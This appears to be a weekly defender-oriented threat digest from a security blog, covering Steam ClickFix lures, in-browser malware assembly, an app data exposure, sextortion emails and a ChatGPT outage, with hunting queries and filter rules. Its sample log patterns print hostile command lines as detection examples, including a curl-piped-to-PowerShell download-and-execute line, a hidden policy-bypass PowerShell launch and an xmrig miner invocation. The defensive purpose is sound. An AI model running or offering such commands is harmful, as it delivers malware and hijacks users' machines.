Skip to content
eastbaycyber

Steam ClickFix Lures, Browser-Built Malware, and Major App Data Exposure

Threat digests 7 min read
EC
East Bay Cyber Editorial Team Reviewed 2026-07-26
Week of 26 JUL 2026

TL;DR - Steam forum ClickFix lures and malvertising campaigns are pushing malware through social engineering and in-browser payload assembly. - Defenders should harden browser controls, review endpoint detections, and warn users about sextortion and fake troubleshooting prompts. - Urgency is high for user awareness and web filtering, even without new critical CVEs today.

Top Stories

Steam forum ClickFix attacks infect gamers with XMRig cryptominers

BleepingComputer reports that attackers are abusing Steam discussion forums with ClickFix-style social engineering, tricking users into running commands or following “fix” steps that ultimately install XMRig cryptominers (source).

Why it matters:
ClickFix continues to work because it turns users into the execution mechanism. Instead of exploiting a software flaw, the attacker persuades the target to copy, paste, or run commands. That makes traditional exploit-focused patching insufficient on its own.

What defenders should do: - Warn users that forum posts offering “PC fixes,” “anti-crash tweaks,” or “performance repair commands” are high risk. - Hunt for unexpected xmrig processes, sustained CPU spikes, or command shells spawned from browser activity. - Block known mining pool traffic where business-appropriate. - Review EDR detections for suspicious PowerShell, CMD, or script interpreter execution shortly after web browsing sessions.

Malvertising campaigns are assembling malware directly in browser memory

BleepingComputer details a campaign using fake Solana, Luno, and TradingView pages where malicious JavaScript instructs the browser to assemble malware in memory rather than deliver a standard executable outright (source).

The Hacker News also highlighted a similar pattern: malware delivered in pieces and reconstructed by the browser, complicating static detection and reputation-based blocking (source).

Why it matters:
This is an important defensive trend. If the browser pulls down fragments and rebuilds the payload dynamically, defenders may see fewer obvious malicious binaries on disk. Detection has to shift toward behavior, script telemetry, network sequences, and post-execution artifacts.

What defenders should do: - Inspect browser process chains that spawn script interpreters, archive tools, or LOLBins. - Tighten web filtering for newly registered domains and risky ad traffic categories. - Enable browser security logging where available. - Correlate suspicious JavaScript-heavy sessions with endpoint execution telemetry.

Security flaw in Vatican “Click to Pray” app reportedly exposed user data

Tom’s Hardware reports that the Vatican’s “Click to Pray” app exposed data affecting more than 700,000 users, with the issue allegedly persisting for an extended period (source).

Why it matters:
This is a reminder that application security failures are not limited to enterprise software. Consumer and nonprofit-facing apps can still collect enough personal data to create privacy, phishing, and reputational risk at scale.

What defenders should do: - Review externally exposed APIs and mobile backends for unauthenticated access or overexposed fields. - Validate that access controls are enforced server-side, not just in the client. - Minimize stored personal data and verify retention policies. - Add recurring checks for accidental data exposure in mobile and web app ecosystems.

ShinyHunters data leaks are fueling a new sextortion wave

BleepingComputer reports that exposed email addresses from ShinyHunters-linked data leaks are being used in sextortion emails demanding $2,000 in Bitcoin (source).

Why it matters:
Even when old breach data contains “just” email addresses, attackers can quickly convert it into effective scare campaigns. Users who recognize a real address from a prior breach are more likely to believe the message.

What defenders should do: - Notify staff that these messages are typically opportunistic scams, not proof of compromise. - Update mail filters for common sextortion wording and cryptocurrency demand patterns. - Route affected users to a standard reporting workflow rather than ad hoc IT tickets. - Encourage password changes only where reused credentials are suspected, not as a panic response to every email.

OpenAI confirms ChatGPT outage worldwide

BleepingComputer reports that OpenAI confirmed a global ChatGPT outage (source).

Why it matters:
For many teams, AI services now sit inside daily workflows for SOC triage, scripting help, content review, and user support. Outages are operational issues, not just productivity annoyances.

What defenders should do: - Maintain fallback procedures for analyst workflows that depend on third-party AI services. - Avoid over-coupling business-critical processes to a single external platform. - Document which internal automations fail open or fail closed when AI APIs are unavailable.

Cybersecurity workforce and market sentiment remain in focus

Tulsa World highlighted cybersecurity threats, AI, and skills gaps at a local workforce event (source), while Investing.com covered Bank of America lifting cybersecurity stock targets based on long-term growth expectations (source).

Why it matters:
These are not incident reports, but they do reflect two strategic realities: defenders remain under staffing pressure, and security spending is still being treated as durable rather than optional.

Critical Vulnerabilities

No critical vulnerabilities were reported in the provided source set today.

That does not mean risk is low. Today’s most actionable items are campaign-driven: social engineering, malvertising, exposed data, and follow-on scams. For many organizations, these produce more immediate operational pain than a newly published CVE.

What Defenders Should Do Today

1. Push a user advisory on ClickFix and fake troubleshooting prompts

Tell users: - Do not copy commands from forums, Discord, Reddit, or comment threads to “fix” games or PCs. - Do not trust browser prompts that instruct them to paste content into PowerShell, CMD, or Run dialogs. - Report suspicious prompts immediately.

2. Hunt for browser-to-script execution chains

Prioritize detections where browsers launch: - powershell.exe - cmd.exe - wscript.exe - cscript.exe - mshta.exe - rundll32.exe

3. Tighten browser and web controls

Focus on: - ad and tracking domain filtering - newly registered domain blocking - script-heavy site inspection - download reputation enforcement - browser extension review

4. Prepare help desk and email teams for sextortion reports

Create a standard response: - confirm the message is likely a scam - advise against payment - check whether the referenced email appears in known past breaches - assess password reuse risk - preserve the email for filtering and analysis

5. Review app and API data exposure risks

For internal apps and customer-facing platforms: - test object-level authorization - reduce verbose API responses - confirm no sensitive fields are exposed to unauthenticated users - verify logging does not leak personal data

Technical Deep Dive

Technical Notes: Hunting for ClickFix and cryptomining activity

On Windows endpoints, defenders can look for suspicious child processes from browsers and signs of mining-related execution.

Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object {
  $_.Message -match "ParentImage:.*(chrome|msedge|firefox).exe" -and
  $_.Message -match "Image:.*(powershell|cmd|wscript|cscript|mshta|rundll32).exe"
} | Select-Object TimeCreated, Id, Message

Process review:

Get-Process | Where-Object {
  $_.ProcessName -match "xmrig|powershell|cmd|wscript|cscript"
} | Select-Object ProcessName, Id, CPU, Path

Network triage on Linux servers or developer workstations that should not be mining:

ps aux | egrep 'xmrig|miner'
ss -plant
top

Look for: - sustained high CPU with no business explanation - outbound connections to unfamiliar pools or proxies - browser sessions immediately preceding shell/script activity

Technical Notes: Sample log patterns worth alerting on

Useful behavior patterns include:

ParentImage: C:\Program Files\Google\Chrome\Application\chrome.exe
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden ...
ParentImage: C:\Program Files\Mozilla Firefox\firefox.exe
Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c curl http://<domain>/<path> | powershell
Image: xmrig.exe
CommandLine: xmrig.exe -o <pool> -u <wallet> --tls

Technical Notes: Browser-built malware detection ideas

If payloads are assembled in memory, defenders should shift from file-centric detections to execution and network sequencing:

detection_focus:
  - browser spawning interpreters or LOLBins
  - unusual Blob or ArrayBuffer-heavy JavaScript behavior in telemetry
  - rapid multi-request fetch patterns for small binary fragments
  - memory-only execution followed by persistence changes
  - archive extraction or DLL loading without normal user download flow

Proxy and DNS review should look for: - fake finance or crypto brands - typo domains near legitimate trading tools - short-lived domains with immediate user traffic - ad-network referrals preceding malicious requests

Technical Notes: Email filtering for sextortion waves

Simple content matching can help reduce user exposure to low-effort extortion runs.

Indicators to pattern-match:
- "I recorded you"
- "I have access to your device"
- "send $2000 in bitcoin"
- password reuse references
- old breach-era personal details used as scare tactics

Example mail gateway logic:

rule_name: sextortion-scam-patterns
conditions:
  subject_or_body_contains:
    - "bitcoin"
    - "recorded you"
    - "access to your device"
    - "$2000"
actions:
  - tag_message
  - increase_spam_score
  - route_to_review

Bottom Line

The biggest cybersecurity threats in today’s digest are not zero-days. They are practical attacker workflows: trick users into running commands, let the browser assemble malware invisibly, reuse breach data for extortion, and capitalize on weak app security.

For defenders, the priority today is straightforward: - reduce trust in web-delivered “fixes” - detect browser-driven execution - harden web controls - prepare for scam-driven user reports - review app data exposure paths

That combination will do more to reduce immediate risk than waiting for the next major vulnerability headline.

This article may contain affiliate links. We earn a commission on qualifying purchases at no extra cost to you.

Last verified: 2026-07-26

Disclaimer: This article may contain affiliate links. We earn a commission on qualifying purchases at no extra cost to you.